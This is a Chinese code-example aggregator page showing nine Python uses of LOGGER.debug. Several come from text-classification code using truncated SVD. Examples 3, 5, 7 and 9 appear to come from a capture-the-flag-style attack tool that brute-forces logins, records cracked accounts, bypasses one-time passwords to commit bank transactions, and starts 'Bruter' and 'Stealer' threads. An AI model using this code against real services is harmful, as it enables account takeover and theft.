本文整理汇总了Python中config.LOGGER.debug方法的典型用法代码示例。如果您正苦于以下问题:Python LOGGER.debug方法的具体用法?Python LOGGER.debug怎么用?Python LOGGER.debug使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类config.LOGGER
的用法示例。
在下文中一共展示了LOGGER.debug方法的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: feature_decomposition
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def feature_decomposition(transformer, train_features, test_features):
LOGGER.info("Beginning Dimensionality reduction using truncated SVD (%d features)" % transformer.n_components)
train_dfeatures = transformer.fit_transform(train_features)
#LOGGER.debug(["%6f " % transformer.explained_variance_ratio_[i] for i in range(5)])
LOGGER.debug("%0.4f%% of total variance in %d features\n" % (
100 * transformer.explained_variance_ratio_.sum(), transformer.n_components))
return train_dfeatures, transformer.transform(test_features)
示例2: prepare_features
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def prepare_features(train_movies, test_movies):
LOGGER.debug("Training samples: %d" % len(train_movies))
# Extract
vectorizer = CountVectorizer(decode_error=u'replace')
(train_features, train_labels, test_features, test_labels) = feature_extraction_sklearn(
vectorizer, train_movies, test_movies
)
LOGGER.debug("Original feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return train_features, train_labels, test_features, test_labels
示例3: add_good
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def add_good(user, password, data, opener):
LOGGER.info('!!Found good: %r %r', user, password)
with kLock:
known_users.add(user)
try:
acc_data = account_data(user, password, data, opener)
GOOD.put(acc_data)
except ValueError:
LOGGER.error('Error adding %r %r', user, password)
LOGGER.debug('%s', data)
示例4: decompose_tsvd_target
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def decompose_tsvd_target(transformer, train_features, test_features, target_cuml_var_ratio=0.9):
LOGGER.info("Aiming for %.3f%% cumulative total sum of variance" % (target_cuml_var_ratio * 100))
#transformer = TruncatedSVD(n_components=n_features)
train_d, test_d = feature_decomposition(transformer, train_features, test_features)
if sum(transformer.explained_variance_ratio_) < target_cuml_var_ratio:
return decompose_tsvd_target(
TruncatedSVD(n_components=(transformer.n_components*2)),
train_features, test_features,
target_cuml_var_ratio)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return transformer, train_d, test_d
示例5: do_otp
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def do_otp(self, obj):
data = self._pre_otp(obj)
if data is False:
return False
step3 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3'
})
)
step4 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step4'
})
)
# Case:
# 1) No otp
if 'Commit transaction.' in data:
LOGGER.info('No otp')
data = my_url_open(obj.opener, step3)
# 2) SmartCard otp
elif 'One-time password:' in data:
LOGGER.info('Smart card otp')
data = my_url_open(obj.opener, step4)
# 3) Brute otp
elif 'One-time password (#' in data:
tmp_ticket = RE_TICKET.search(data)
if not tmp_ticket:
return False
tmp_ticket = tmp_ticket.group(1)
step_OTP1 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 2)
})
)
step_OTP2 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 3)
})
)
data = my_url_open(obj.opener, step_OTP1)
data += my_url_open(obj.opener, step_OTP2)
data = my_url_open(obj.opener, step4)
else:
LOGGER.error('Bad transaction page: ')
LOGGER.debug('%r', data)
result = 'Transaction committed!' in data
if result:
LOGGER.info('Transaction from: %s', obj.number)
return result
示例6: five_ab
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def five_ab(train_features, train_labels, test_features, test_labels):
# Reduce feature dimensions
transformer = TruncatedSVD(n_components=N_FEATURES)
transformer, train_features, test_features = decompose_tsvd_target(
transformer, train_features, test_features, TARGET_CUM_VAR_RATIO
)
#train_features, test_features = feature_decomposition(transformer, train_features, test_features)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
# Rescale features
train_features, test_features = rescale_features(train_features, test_features)
return train_features, train_labels, test_features, test_labels
示例7: run
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def run(self):
LOGGER.info('Run numeric login-password generator')
for user in self.users_list:
account_password_queue.put((user, sha1('{0}|hekked'.format(user)).hexdigest()))
RECOVER.put(str(user))
for password in self.passwords_list:
if user in known_users:
break
LOGGER.debug('Add in queue: %s:%s', user, password)
while 1:
try:
account_password_queue.put((user, password), block=1, timeout=1)
break
except Queue.Full:
LOGGER.error('account_password queue full!')
pass
示例8: five_f
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
def five_f(train_features, train_labels, test_features, test_labels):
n_features = [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024]
accuracy = []
# Classify with different feature subsets
for num in n_features:
transformer = TruncatedSVD(n_components=num)
d_train_feat, d_test_feat = feature_decomposition(transformer, train_features, test_features)
d_train_feat, d_test_feat = rescale_features(d_train_feat, d_test_feat)
results = classify(LogisticRegression(),
d_train_feat, train_labels, d_test_feat, test_labels,
"Logistic Regression classification - TSVD to %d features" % transformer.n_components)
accuracy.append(get_correct_num(results, test_labels) / len(test_labels))
# Classify with the full feature set
total_features = csr_matrix(train_features[-1]).toarray().size
n_features.append(total_features)
results = classify(LogisticRegression(),
train_features, train_labels, test_features, test_labels,
"Logistic Regression classification - All %d features" % total_features)
accuracy.append(get_correct_num(results, test_labels) / len(test_labels))
LOGGER.debug(["%d: %.4f%%" % (n_features[i], accuracy[i] * 100) for i in range(len(n_features))])
plot_feature_decomposition(n_features, accuracy)
示例9: xrange
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import debug [as 别名]
RaceObject.set_obj(obj)
with RaceObject.RaceLock:
RaceObject.RaceLock.notify()
RaceObject.RaceLock.wait()
time.sleep(0.05)
for i in xrange(1):
protect = Protector(DUPE_GOLD)
protect.start()
gen = Generator()
gen.start()
gen = Generator_enemy()
gen.start()
LOGGER.debug('Generators started')
if True:
for i in xrange(3):
brute = Bruter()
brute.start()
for i in xrange(1):
steal = Stealer()
steal.start()
for i in xrange(1):
change = Changer()
change.start()
for i in xrange(1): # TODO: Conflicts with stealer, can be just nullified